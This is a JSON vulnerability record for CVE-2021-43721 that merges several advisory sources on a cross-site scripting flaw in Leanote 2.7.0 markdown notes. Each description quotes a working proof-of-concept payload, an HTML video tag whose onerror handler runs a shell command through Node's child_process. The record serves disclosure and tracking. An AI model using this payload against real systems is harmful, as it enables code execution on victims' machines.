{"id":"CVE-2021-43721","aliases":["EUVD-2021-30628","GHSA-8mh9-7j76-5m8p"],"status":"published","title":"Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads...","description":"Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : \u003cvideo src=x onerror=(function(){require('child_process').exec('calc');})();\u003e","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-12","score":0.01061,"percentile":0.65039,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2022-03-28T13:37:04Z","modified":"2026-10-24T02:47:31Z","products":[{"vendor":"leanote","product":"leanote"}],"references":[{"url":"https://github.com/leanote/desktop-app/issues/364","tags":["x_refsource_MISC","x_transferred","Exploit","Issue Tracking","Third Party Advisory","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-43721"},{"url":"https://github.com/advisories/GHSA-8mh9-7j76-5m8p"}],"sources":{"cve":[{"id":"CVE-2021-43721","description":"Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : \u003cvideo src=x onerror=(function(){require('child_process').exec('calc');})();\u003e","status":"published","published":"2022-03-28T13:37:04Z","modified":"2024-08-04T04:03:08.529Z","updated_at":"2026-11-02T14:32:56.689433Z"}],"euvd":[{"id":"EUVD-2021-30628","description":"Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : \u003cvideo src=x onerror=(function(){require('child_process').exec('calc');})();\u003e","status":"published","published":"2022-03-28T13:37:04Z","modified":"2024-08-04T04:03:08Z","updated_at":"2026-11-03T03:24:13.193734Z"}],"ghsa":[{"id":"GHSA-8mh9-7j76-5m8p","title":"Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads...","description":"Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : \u003cvideo src=x onerror=(function(){require('child_process').exec('calc');})();\u003e","status":"published","published":"2022-03-29T00:01:14Z","modified":"2023-01-27T05:01:08Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:49.563138Z"}],"nvd":[{"id":"CVE-2021-43721","description":"Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : \u003cvideo src=x onerror=(function(){require('child_process').exec('calc');})();\u003e","status":"published","published":"2022-03-28T14:15:07.627Z","modified":"2026-06-17T04:11:18.79Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"},{"version":"2.0","score":4.3,"vector":"AV:N/AC:M/Au:N/C:N/I:P/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:07:05.581807Z"}],"osv":[{"id":"CVE-2021-43721","description":"Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : \u003cvideo src=x onerror=(function(){require('child_process').exec('calc');})();\u003e","status":"published","published":"2022-03-28T14:15:07.627Z","modified":"2026-10-24T02:47:31.903283377Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:44:21.877444Z"}]}}